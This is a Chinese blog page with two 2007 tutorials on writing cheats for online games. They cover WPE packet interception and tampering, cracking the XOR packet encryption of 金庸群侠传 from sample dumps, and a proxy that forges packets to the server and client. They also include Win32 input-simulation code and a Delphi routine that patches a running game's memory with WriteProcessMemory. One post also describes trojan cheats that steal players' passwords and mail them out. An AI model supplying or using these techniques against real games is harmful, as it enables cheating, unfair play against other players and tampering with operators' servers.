发布新日志

  • [论坛] 网络游戏外挂编写初级教程

    2007-01-13 16:23:00

    做自己喜欢的!
    ------ 明天你来自己做外挂 随着网络游戏的日益火爆,很多玩家都投身到游戏中。目前很多玩家都依赖于一些游戏的外挂程序来进行游戏。那么做一个游戏的外挂程序是否是一件很困难的事呢?回答是"否",诚然编写一些程序是需要一些基本知识的,所以我们想以最简单的语言来给你讲授编写外挂程序的一些技巧,一些方法,并提供给你一些基本的辅助工具,即使你是一个菜鸟,看了我们的教程,并技巧地使用我们提供给你的工具,你完全能够编写出一个完全属于你自己的外挂。在本教程内,我们提供了金庸群侠传,以及网络三国这两个游戏的修改实际例子,因为这两款游戏都是对封包进行过加密运算的,如果你对这两个游戏的修改有了一定的了解后,相信你在其他游戏中也能非常好地做出属于自己的外挂。我们提供了金庸打增援20个NPC和网络三国在PK中自动吃药,自动发镖这两个实际的例子,让你上手更容易。我们也会本教程内附上这两个软件以提供给你使用和学习。我们会在教程内讲授给你怎么去破解封包的加密算法,怎么利用我们提供给你工具来伪造和发送封包。本教程除了文字教程外,我们还会提供金庸群侠和三国的外挂程序,另外还提供6个外挂制作工具,以供你使用。希望在以后的游戏中,每一个玩家都能够在游戏中成长起来,不但游戏玩的出色,修改游戏也同样出色,做一个真正的游戏DIY。 要想在修改游戏中做到百战百胜,是需要相当丰富的计算机知识的。有很多计算机高手就是从玩游戏,修改游戏中,逐步对计算机产生浓厚的兴趣,逐步成长起来的。不要在羡慕别人能够做到的,因为别人能够做的你也能够!我相信你们看了本教程后,会对游戏有一个全新的认识,呵呵,因为我是个好老师!(别拿鸡蛋砸我呀,救命啊!#¥%……*)   不过要想从修改游戏中学到知识,增加自己的计算机水平,可不能只是靠修改游戏呀! 要知道,修改游戏只是一个验证你对你所了解的某些计算机知识的理解程度的场所,只能给你一些发现问题、解决问题的机会,只能起到帮助你提高学习计算机的兴趣的作用,而决不是学习计算机的捷径。

    --------------------------------------------------------------------------------
    一:什么叫外挂?
    现在的网络游戏多是基于Internet上客户/服务器模式,服务端程序运行在游戏服务器上,游戏的设计者在其中创造一个庞大的游戏空间,各地的玩家可以通过运行客户端程序同时登录到游戏中。简单地说,网络游戏实际上就是由游戏开发商提供一个游戏环境,而玩家们就是在这个环境中相对自由和开放地进行游戏操作。那么既然在网络游戏中有了服务器这个概念,我们以前传统的修改游戏方法就显得无能为力了。记得我们在单机版的游戏中,随心所欲地通过内存搜索来修改角色的各种属性,这在网络游戏中就没有任何用处了。因为我们在网络游戏中所扮演角色的各种属性及各种重要资料都存放在服务器上,在我们自己机器上(客户端)只是显示角色的状态,所以通过修改客户端内存里有关角色的各种属性是不切实际的。那么是否我们就没有办法在网络游戏中达到我们修改的目的?回答是"否"。我们知道Internet客户/服务器模式的通讯一般采用TCP/IP通信协议,数据交换是通过IP数据包的传输来实现的,一般来说我们客户端向服务器发出某些请求,比如移动、战斗等指令都是通过封包的形式和服务器交换数据。那么我们把本地发出消息称为SEND,意思就是发送数据,服务器收到我们SEND的消息后,会按照既定的程序把有关的信息反馈给客户端,比如,移动的坐标,战斗的类型。那么我们把客户端收到服务器发来的有关消息称为RECV。知道了这个道理,接下来我们要做的工作就是分析客户端和服务器之间往来的数据(也就是封包),这样我们就可以提取到对我们有用的数据进行修改,然后模拟服务器发给客户端,或者模拟客户端发送给服务器,这样就可以实现我们修改游戏的目的了。 目前除了修改游戏封包来实现修改游戏的目的,我们也可以修改客户端的有关程序来达到我们的要求。我们知道目前各个服务器的运算能力是有限的,特别在游戏中,游戏服务器要计算游戏中所有玩家的状况几乎是不可能的,所以有一些运算还是要依靠我们客户端来完成,这样又给了我们修改游戏提供了一些便利。比如我们可以通过将客户端程序脱壳来发现一些程序的判断分支,通过跟踪调试我们可以把一些对我们不利的判断去掉,以此来满足我们修改游戏的需求。 在下几个章节中,我们将给大家讲述封包的概念,和修改跟踪客户端的有关知识。大家准备好了吗?

    游戏数据格式和存储:

    在进行我们的工作之前,我们需要掌握一些关于计算机中储存数据方式的知识和游戏中储存数据的特点。本章节是提供给菜鸟级的玩家看的,如果你是高手就可以跳过了,呵呵!  如果,你想成为无坚不摧的剑客,那么,这些东西就会花掉你一些时间;如果,你只想作个江湖的游客的话,那么这些东西,了解与否无关紧要。是作剑客,还是作游客,你选择吧!

    现在我们开始!首先,你要知道游戏中储存数据的几种格式,这几种格式是:字节(BYTE)、字(WORD)和双字(DOUBLE WORD),或者说是8位、16位和32位储存方式。字节也就是8位方式能储存0~255的数字;字或说是16位储存方式能储存0~65535的数;双字即32位方式能储存0~4294967295的数。

    为何要了解这些知识呢?在游戏中各种参数的最大值是不同的,有些可能100左右就够了,比如,金庸群侠传中的角色的等级、随机遇敌个数等等。而有些却需要大于255甚至大于65535,象金庸群侠传中角色的金钱值可达到数百万。所以,在游戏中各种不同的数据的类型是不一样的。在我们修改游戏时需要寻找准备修改的数据的封包,在这种时候,正确判断数据的类型是迅速找到正确地址的重要条件。

      在计算机中数据以字节为基本的储存单位,每个字节被赋予一个编号,以确定各自的位置。这个编号我们就称为地址。

    在需要用到字或双字时,计算机用连续的两个字节来组成一个字,连续的两个字组成一个双字。而一个字或双字的地址就是它们的低位字节的地址。 现在我们常用的Windows 9x操作系统中,地址是用一个32位的二进制数表示的。而在平时我们用到内存地址时,总是用一个8位的16进制数来表示它。

    二进制和十六进制又是怎样一回事呢?

      简单说来,二进制数就是一种只有0和1两个数码,每满2则进一位的计数进位法。同样,16进制就是每满十六就进一位的计数进位法。16进制有0--F十六个数字,它为表示十到十五的数字采用了A、B、C、D、E、F六个数字,它们和十进制的对应关系是:A对应于10,B对应于11,C对应于12,D对应于13,E对应于14,F对应于15。而且,16进制数和二进制数间有一个简单的对应关系,那就是;四位二进制数相当于一位16进制数。比如,一个四位的二进制数1111就相当于16进制的F,1010就相当于A。

    了解这些基础知识对修改游戏有着很大的帮助,下面我就要谈到这个问题。由于在计算机中数据是以二进制的方式储存的,同时16进制数和二进制间的转换关系十分简单,所以大部分的修改工具在显示计算机中的数据时会显示16进制的代码,而且在你修改时也需要输入16进制的数字。你清楚了吧?

      在游戏中看到的数据可都是十进制的,在要寻找并修改参数的值时,可以使用Windows提供的计算器来进行十进制和16进制的换算,我们可以在开始菜单里的程序组中的附件中找到它。

      现在要了解的知识也差不多了!不过,有个问题在游戏修改中是需要注意的。在计算机中数据的储存方式一般是低位数储存在低位字节,高位数储存在高位字节。比如,十进制数41715转换为16进制的数为A2F3,但在计算机中这个数被存为F3A2。

    看了以上内容大家对数据的存贮和数据的对应关系都了解了吗? 好了,接下来我们要告诉大家在游戏中,封包到底是怎么一回事了,来!大家把袖口卷起来,让我们来干活吧!


    --------------------------------------------------------------------------------
    二:什么是封包?
    怎么截获一个游戏的封包?怎么去检查游戏服务器的ip地址和端口号? Internet用户使用的各种信息服务,其通讯的信息最终均可以归结为以IP包为单位的信息传送,IP包除了包括要传送的数据信息外,还包含有信息要发送到的目的IP地址、信息发送的源IP地址、以及一些相关的控制信息。当一台路由器收到一个IP数据包时,它将根据数据包中的目的IP地址项查找路由表,根据查找的结果将此IP数据包送往对应端口。下一台IP路由器收到此数据包后继续转发,直至发到目的地。路由器之间可以通过路由协议来进行路由信息的交换,从而更新路由表。

    那么我们所关心的内容只是IP包中的数据信息,我们可以使用许多监听网络的工具来截获客户端与服务器之间的交换数据,下面就向你介绍其中的一种工具:WPE。

    WPE使用方法:执行WPE会有下列几项功能可选择:

    SELECT GAME选择目前在记忆体中您想拦截的程式,您只需双击该程式名称即可。

    TRACE追踪功能。用来追踪撷取程式送收的封包。WPE必须先完成点选欲追踪的程式名称,才可以使用此项目。 按下Play键开始撷取程式收送的封包。您可以随时按下 | | 暂停追踪,想继续时请再按下 | | 。按下正方形可以停止撷取封包并且显示所有已撷取封包内容。若您没按下正方形停止键,追踪的动作将依照OPTION里的设定值自动停止。如果您没有撷取到资料,试试将OPTION里调整为Winsock Version 2。WPE 及 Trainers 是设定在显示至少16 bits 颜色下才可执行。

    FILTER过滤功能。用来分析所撷取到的封包,并且予以修改。

    SEND PACKET送出封包功能。能够让您送出假造的封包。

    TRAINER MAKER制作修改器。

    OPTIONS设定功能。让您调整WPE的一些设定值。

    FILTER的详细教学

    - 当FILTER在启动状态时 ,ON的按钮会呈现红色。- 当您启动FILTER时,您随时可以关闭这个视窗。FILTER将会保留在原来的状态,直到您再按一次 on / off 钮。- 只有FILTER启用钮在OFF的状态下,才可以勾选Filter前的方框来编辑修改。- 当您想编辑某个Filter,只要双击该Filter的名字即可。

    NORMAL MODE:

    范例:

    当您在 Street Fighter Online ﹝快打旋风线上版﹞游戏中,您使用了两次火球而且击中了对方,这时您会撷取到以下的封包:SEND-> 0000 08 14 21 06 01 04 SEND-> 0000 02 09 87 00 67 FF A4 AA 11 22 00 00 00 00 SEND-> 0000 03 84 11 09 11 09 SEND-> 0000 0A 09 C1 10 00 00 FF 52 44 SEND-> 0000 0A 09 C1 10 00 00 66 52 44

    您的第一个火球让对方减了16滴﹝16 = 10h﹞的生命值,而您观察到第4跟第5个封包的位置4有10h的值出现,应该就是这里了。

    您观察10h前的0A 09 C1在两个封包中都没改变,可见得这3个数值是发出火球的关键。

    因此您将0A 09 C1 10填在搜寻列﹝SEARCH﹞,然后在修改列﹝MODIFY﹞的位置4填上FF。如此一来,当您再度发出火球时,FF会取代之前的10,也就是攻击力为255的火球了!

    ADVANCED MODE:

    范例: 当您在一个游戏中,您不想要用真实姓名,您想用修改过的假名传送给对方。在您使用TRACE后,您会发现有些封包里面有您的名字出现。假设您的名字是Shadow,换算成16进位则是﹝53 68 61 64 6F 77﹞;而您打算用moon﹝6D 6F 6F 6E 20 20﹞来取代他。1) SEND-> 0000 08 14 21 06 01 042) SEND-> 0000 01 06 99 53 68 61 64 6F 77 00 01 05 3) SEND-> 0000 03 84 11 09 11 094) SEND-> 0000 0A 09 C1 10 00 53 68 61 64 6F 77 00 11 5) SEND-> 0000 0A 09 C1 10 00 00 66 52 44

    但是您仔细看,您的名字在每个封包中并不是出现在相同的位置上

    - 在第2个封包里,名字是出现在第4个位置上- 在第4个封包里,名字是出现在第6个位置上

    在这种情况下,您就需要使用ADVANCED MODE- 您在搜寻列﹝SEARCH﹞填上:53 68 61 64 6F 77 ﹝请务必从位置1开始填﹞- 您想要从原来名字Shadow的第一个字母开始置换新名字,因此您要选择从数值被发现的位置开始替代连续数值﹝from the position of the chain found﹞。- 现在,在修改列﹝MODIFY﹞000的位置填上:6D 6F 6F 6E 20 20 ﹝此为相对应位置,也就是从原来搜寻栏的+001位置开始递换﹞- 如果您想从封包的第一个位置就修改数值,请选择﹝from the beginning of the packet﹞

    了解一点TCP/IP协议常识的人都知道,互联网是将信息数据打包之后再传送出去的。每个数据包分为头部信息和数据信息两部分。头部信息包括数据包的发送地址和到达地址等。数据信息包括我们在游戏中相关操作的各项信息。那么在做截获封包的过程之前我们先要知道游戏服务器的IP地址和端口号等各种信息,实际上最简单的是看看我们游戏目录下,是否有一个SERVER.INI的配置文件,这个文件里你可以查看到个游戏服务器的IP地址,比如金庸群侠传就是如此,那么除了这个我们还可以在DOS下使用NETSTAT这个命令,

    NETSTAT命令的功能是显示网络连接、路由表和网络接口信息,可以让用户得知目前都有哪些网络连接正在运作。或者你可以使用木马客星等工具来查看网络连接。工具是很多的,看你喜欢用哪一种了。

    NETSTAT命令的一般格式为:NETSTAT [选项]

    命令中各选项的含义如下:-a 显示所有socket,包括正在监听的。-c 每隔1秒就重新显示一遍,直到用户中断它。-i 显示所有网络接口的信息。-n 以网络IP地址代替名称,显示出网络连接情形。-r 显示核心路由表,格式同"route -e"。-t 显示TCP协议的连接情况。-u 显示UDP协议的连接情况。-v 显示正在进行的工作。

    --------------------------------------------------------------------------------
    三:怎么来分析我们截获的封包?
    首先我们将WPE截获的封包保存为文本文件,然后打开它,这时会看到如下的数据(这里我们以金庸群侠传里PK店小二客户端发送的数据为例来讲解):

    第一个文件:SEND-> 0000 E6 56 0D 22 7E 6B E4 17 13 13 12 13 12 13 67 1BSEND-> 0010 17 12 DD 34 12 12 12 12 17 12 0E 12 12 12 9BSEND-> 0000 E6 56 1E F1 29 06 17 12 3B 0E 17 1ASEND-> 0000 E6 56 1B C0 68 12 12 12 5ASEND-> 0000 E6 56 02 C8 13 C9 7E 6B E4 17 10 35 27 13 12 12SEND-> 0000 E6 56 17 C9 12

    第二个文件:SEND-> 0000 83 33 68 47 1B 0E 81 72 76 76 77 76 77 76 02 7ESEND-> 0010 72 77 07 1C 77 77 77 77 72 77 72 77 77 77 6DSEND-> 0000 83 33 7B 94 4C 63 72 77 5E 6B 72 F3SEND-> 0000 83 33 7E A5 21 77 77 77 3FSEND-> 0000 83 33 67 AD 76 CF 1B 0E 81 72 75 50 42 76 77 77SEND-> 0000 83 33 72 AC 77

    我们发现两次PK店小二的数据格式一样,但是内容却不相同,我们是PK的同一个NPC,为什么会不同呢? 原来金庸群侠传的封包是经过了加密运算才在网路上传输的,那么我们面临的问题就是如何将密文解密成明文再分析了。

    因为一般的数据包加密都是异或运算,所以这里先讲一下什么是异或。 简单的说,异或就是"相同为0,不同为1"(这是针对二进制按位来讲的),举个例子,0001和0010异或,我们按位对比,得到异或结果是0011,计算的方法是:0001的第4位为0,0010的第4位为0,它们相同,则异或结果的第4位按照"相同为0,不同为1"的原则得到0,0001的第3位为0,0010的第3位为0,则异或结果的第3位得到0,0001的第2位为0,0010的第2位为1,则异或结果的第2位得到1,0001的第1位为1,0010的第1位为0,则异或结果的第1位得到1,组合起来就是0011。异或运算今后会遇到很多,大家可以先熟悉熟悉,熟练了对分析很有帮助的。

    下面我们继续看看上面的两个文件,按照常理,数据包的数据不会全部都有值的,游戏开发时会预留一些字节空间来便于日后的扩充,也就是说数据包里会存在一些"00"的字节,观察上面的文件,我们会发现文件一里很多"12",文件二里很多"77",那么这是不是代表我们说的"00"呢?推理到这里,我们就开始行动吧!

    我们把文件一与"12"异或,文件二与"77"异或,当然用手算很费事,我们使用"M2M 1.0 加密封包分析工具"来计算就方便多了。得到下面的结果:

    第一个文件:1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 CF 26 00 00 00 00 05 00 1C 00 00 00 892 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29 1C 05 083 SEND-> 0000 F4 44 09 D2 7A 00 00 00 484 SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 005 SEND-> 0000 F4 44 05 DB 00

    第二个文件:1 SEND-> 0000 F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 70 6B 00 00 00 00 05 00 05 00 00 00 1A2 SEND-> 0000 F4 44 0C E3 3B 13 05 00 29 1C 05 843 SEND-> 0000 F4 44 09 D2 56 00 00 00 484 SEND-> 0000 F4 44 10 DA 01 B8 6C 79 F6 05 02 27 35 01 00 005 SEND-> 0000 F4 44 05 DB 00

    哈,这一下两个文件大部分都一样啦,说明我们的推理是正确的,上面就是我们需要的明文!

    接下来就是搞清楚一些关键的字节所代表的含义,这就需要截获大量的数据来分析。

    首先我们会发现每个数据包都是"F4 44"开头,第3个字节是变化的,但是变化很有规律。我们来看看各个包的长度,发现什么没有?对了,第3个字节就是包的长度! 通过截获大量的数据包,我们判断第4个字节代表指令,也就是说客户端告诉服务器进行的是什么操作。例如向服务器请求战斗指令为"30",战斗中移动指令为"D4"等。 接下来,我们就需要分析一下上面第一个包"F4 44 1F 30 6C 79 F6 05 01 01 00 01 00 01 75 09 05 00 CF 26 00 00 00 00 05 00 1C 00 00 00 89",在这个包里包含什么信息呢?应该有通知服务器你PK的哪个NPC吧,我们就先来找找这个店小二的代码在什么地方。 我们再PK一个小喽罗(就是大理客栈外的那个咯):SEND-> 0000 F4 44 1F 30 D4 75 F6 05 01 01 00 01 00 01 75 09SEND-> 0010 05 00 8A 19 00 00 00 00 11 00 02 00 00 00 C0 我们根据常理分析,游戏里的NPC种类虽然不会超过65535(FFFF),但开发时不会把自己限制在字的范围,那样不利于游戏的扩充,所以我们在双字里看看。通过"店小二"和"小喽罗"两个包的对比,我们把目标放在"6C 79 F6 05"和"CF 26 00 00"上。(对比一下很容易的,但你不能太迟钝咯,呵呵)我们再看看后面的包,在后面的包里应该还会出现NPC的代码,比如移动的包,游戏允许观战,服务器必然需要知道NPC的移动坐标,再广播给观战的其他玩家。在后面第4个包"SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00"里我们又看到了"6C 79 F6 05",初步断定店小二的代码就是它了!(这分析里边包含了很多工作的,大家可以用WPE截下数据来自己分析分析)

    第一个包的分析暂时就到这里(里面还有的信息我们暂时不需要完全清楚了)

    我们看看第4个包"SEND-> 0000 F4 44 10 DA 01 DB 6C 79 F6 05 02 27 35 01 00 00",再截获PK黄狗的包,(狗会出来2只哦)看看包的格式:SEND-> 0000 F4 44 1A DA 02 0B 4B 7D F6 05 02 27 35 01 00 00SEND-> 0010 EB 03 F8 05 02 27 36 01 00 00

    根据上面的分析,黄狗的代码为"4B 7D F6 05"(100040011),不过两只黄狗服务器怎样分辨呢?看看"EB 03 F8 05"(100140011),是上一个代码加上100000,呵呵,这样服务器就可以认出两只黄狗了。我们再通过野外遇敌截获的数据包来证实,果然如此。

    那么,这个包的格式应该比较清楚了:第3个字节为包的长度,"DA"为指令,第5个字节为NPC个数,从第7个字节开始的10个字节代表一个NPC的信息,多一个NPC就多10个字节来表示。

    大家如果玩过网金,必然知道随机遇敌有时会出现增援,我们就利用游戏这个增援来让每次战斗都会出现增援的NPC吧。

    通过在战斗中出现增援截获的数据包,我们会发现服务器端发送了这样一个包:F4 44 12 E9 EB 03 F8 05 02 00 00 03 00 00 00 00 00 00 第5-第8个字节为增援NPC的代码(这里我们就简单的以黄狗的代码来举例)。 那么,我们就利用单机代理技术来同时欺骗客户端和服务器吧!

    好了,呼叫NPC的工作到这里算是完成了一小半,接下来的事情,怎样修改封包和发送封包,我们下节继续讲解吧。

    --------------------------------------------------------------------------------
    四:怎么冒充"客户端"向"服务器"发我们需要的封包?
    这里我们需要使用一个工具,它位于客户端和服务器端之间,它的工作就是进行数据包的接收和转发,这个工具我们称为代理。如果代理的工作单纯就是接收和转发的话,这就毫无意义了,但是请注意:所有的数据包都要通过它来传输,这里的意义就重大了。我们可以分析接收到的数据包,或者直接转发,或者修改后转发,或者压住不转发,甚至伪造我们需要的封包来发送。

    下面我们继续讲怎样来同时欺骗服务器和客户端,也就是修改封包和伪造封包。 通过我们上节的分析,我们已经知道了打多个NPC的封包格式,那么我们就动手吧!

    首先我们要查找客户端发送的包,找到战斗的特征,就是请求战斗的第1个包,我们找"F4 44 1F 30"这个特征,这是不会改变的,当然是要解密后来查找哦。 找到后,表示客户端在向服务器请求战斗,我们不动这个包,转发。 继续向下查找,这时需要查找的特征码不太好办,我们先查找"DA",这是客户端发送NPC信息的数据包的指令,那么可能其他包也有"DA",没关系,我们看前3个字节有没有"F4 44"就行了。找到后,我们的工作就开始了!

    我们确定要打的NPC数量。这个数量不能很大,原因在于网金的封包长度用一个字节表示,那么一个包可以有255个字节,我们上面分析过,增加一个NPC要增加10个字节,所以大家算算就知道,打20个NPC比较合适。

    然后我们要把客户端原来的NPC代码分析计算出来,因为增加的NPC代码要加上100000哦。再把我们增加的NPC代码计算出来,并且组合成新的封包,注意代表包长度的字节要修改啊,然后转发到服务器,这一步在编写程序的时候要注意算法,不要造成较大延迟。

    上面我们欺骗服务器端完成了,欺骗客户端就简单了,^-^

    发送了上面的封包后,我们根据新增NPC代码构造封包马上发给客户端,格式就是"F4 44 12 E9 NPC代码 02 00 00 03 00 00 00 00 00 00",把每个新增的NPC都构造这样一个包,按顺序连在一起发送给客户端,客户端也就被我们骗过了,很简单吧。

    以后战斗中其他的事我们就不管了,尽情地开打吧,呵呵。
  • 网络游戏外挂制作

    2007-01-13 16:08:36

           在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):

    1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知道该怎么做,不过这种外挂也是入门级的好东东,虽然不能提高你的战斗力,但是可以提高你的士气^_^)

    2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。(这种外挂,比上一种有一点点难度,但是这种外挂做起来能够用,也是有一定难度的啦~~,这种外挂可以很快提升你对内存地址的理解及应用,是你编程技术提高的好东东)

    3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码(TMD,“烂”就一个字,不过要知已知彼所以还是要谈一下啦~~),做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。(我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万别用呀!~~)

    4、加速式,这种外挂可以加快游戏的速度……(对不起大家,这种东东我没有实际做过,所以不能妄自评,惭愧~~)

    5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发(Kao,说起来简单,你做一个试试~~~~)。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock技术

      这几种外挂之中,前三种可以用VB,DELPHI等语言比较好实现,后两种则要用VC等底层支持比较好的编程工具才好实现。

    现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~

    首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:

    1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
    BOOL GetCursorPos( LPPOINT lpPoint // address of structure for cursor position );

    2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
    BOOL SetCursorPos(

    int X, // horizontal position 
    int Y // vertical position
    );
    3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:

    VOID mouse_event(

    DWORD dwFlags, // flags specifying various motion/click variants
    DWORD dx, // horizontal mouse position or position change
    DWORD dy, // vertical mouse position or position change
    DWORD dwData, // amount of wheel movement
    DWORD dwExtraInfo // 32 bits of application-defined information
    );
    在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~

    好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

    getcursorpos(point);
    setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    setcursorpos(point.x,point.y);

    看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:

    VOID keybd_event(

    BYTE bVk, // virtual-key code
    BYTE bScan, // hardware scan code
    DWORD dwFlags, // flags specifying various function options
    DWORD dwExtraInfo // additional data associated with keystroke
    );
    我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
    UINT MapVirtualKey(

    UINT uCode, // virtual-key code or scan code
    UINT uMapType // translation to perform

    );
    好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

    keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
    keybd_event(65,mapvirtualkey(65,0),0,0);
    keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
    keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

    首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。
    (看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)

    上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂棗本地修改式外挂的整个制作过程进行一个详细的分解。
    具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:

    在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
    1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
    HWND FindWindow(

    LPCTSTR lpClassName, // pointer to class name

    LPCTSTR lpWindowName // pointer to window name
    );
    2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
    DWORD GetWindowThreadProcessId(

    HWND hWnd, // handle of window
    LPDWORD lpdwProcessId // address of variable for process identifier
    );
    3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
    HANDLE OpenProcess(

    DWORD dwDesiredAccess, // access flag 

    BOOL bInheritHandle, // handle inheritance flag 
    DWORD dwProcessId // process identifier 
    );
    在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
    4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:

    BOOL WriteProcessMemory(

    HANDLE hProcess, // handle to process whose memory is written to 
    LPVOID lpBaseAddress, // address to start writing to 
    LPVOID lpBuffer, // pointer to buffer to write data to
    DWORD nSize, // number of bytes to write
    LPDWORD lpNumberOfBytesWritten // actual number of bytes written 
    );
    5、下面用CloseHandle关闭进程句柄就完成了。
    这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:

    const
    ResourceOffset: dword = $004219F4;
    resource: dword = 3113226621;
    ResourceOffset1: dword = $004219F8;
    resource1: dword = 1940000000;
    ResourceOffset2: dword = $0043FA50;
    resource2: dword = 1280185;
    ResourceOffset3: dword = $0043FA54;
    resource3: dword = 3163064576;
    ResourceOffset4: dword = $0043FA58;
    resource4: dword = 2298478592;
    var
    hw: HWND;
    pid: dword;
    h: Thandle;
    tt: Cardinal;
    begin
    hw := FindWindow('XX', nil);
    if hw = 0 then

    Exit;
    GetWindowThreadProcessId(hw, @pid);
    h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if h = 0 then
    Exit;
    if flatcheckbox1.Checked=true then
    begin
    WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
    end;
    if flatcheckbox2.Checked=true then
    begin
    WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);

    WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
    end;
    MessageBeep(0);
    CloseHandle(h);
    close;
    这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。
    (方法大家已经看清楚了,具体实践就看大家的了,呵呵~~~~~~,不过不要高兴太早,这种网络游戏毕竟占少数,所以我会在以后的文章中对其他类型外挂做详细解说,对了,请跟一下贴子,鼓励一下,不然我真的没有信心写下面的文章了,谢谢)

